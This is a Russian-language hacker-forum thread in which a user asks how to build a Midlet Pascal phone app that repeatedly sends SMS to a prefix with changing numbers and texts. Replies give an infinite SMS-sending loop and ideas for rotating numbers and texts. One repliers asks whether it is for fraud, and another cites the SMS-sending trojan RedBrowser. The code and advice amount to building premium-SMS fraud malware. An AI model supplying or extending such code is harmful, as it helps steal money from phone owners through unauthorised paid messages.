Форум АНТИЧАТ - Вопрос по Midlet Pascal

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)

- - Вопрос по Midlet Pascal (https://forum.antichat.xyz/showthread.php?t=208972)

Вопрос по Midlet Pascal

Собственно появилась надобность в написании так называемого "аларма".нужен совсем простенький,а именно.я открываю приложение,вылазит предложение отправить смс на один префикс-я нажимаю да.вылазит второе предложение отправить смс-тоже нажимаю да и так до бесконечности.вопрос в том,с помощью какого кода это осуществить?Знаю как отправить сообщение на один номер:

Код:

begin    if not SmsStartSend('sms://номер', 'текст') then Halt;

 while SmsIsSending do // Ждем пока отправится...        Delay(100);

if not SmsWasSuccessfull then Halt; // Проверка отправки сообщения     

end.

но не знаю как прилепить второе сообщение и сделать так,чтобы не было написано "Подождите,пока отправится SMS"
Надеюсь на помощь.спасибо

если тебе нужно, чтобы бесконечно смски отправлялись, делай так:
begin
while true do begin
if not SmsStartSend('sms://номер', 'текст') then Halt;
while SmsIsSending do // Ждем пока отправится... Delay(100);
if not SmsWasSuccessfull then Halt; // Проверка отправки сообщения
end;
end.

п.с. прого для фрода?

спасибо,но мне нужно чтобы каждый раз номер и текст были разными.как это осуществить?

Как вариант брать по очереди из списка текст а номер random

Неужели никто не знает?

неужели сложно почитать статьи в инете?!

Цитата:

Некоторые версии антивирусных программ (Norton, McAfee, …) сообщают о любой программе, написанной на MidletPascal, как о вирусе «Trojan.Redbrowser.A».

Это вызвано тем, что с помощью MidletPascal была написана троянская программа RedBrowser, тайно рассылающая SMS-сообщения[1].

Так-то!

Тс, сформулируй нормально вопрос. Что за номера? Пробуй сделать массив, а в цикле брать номера оттуда. Если не знаешь как- то подучи сначала обычный паскаль.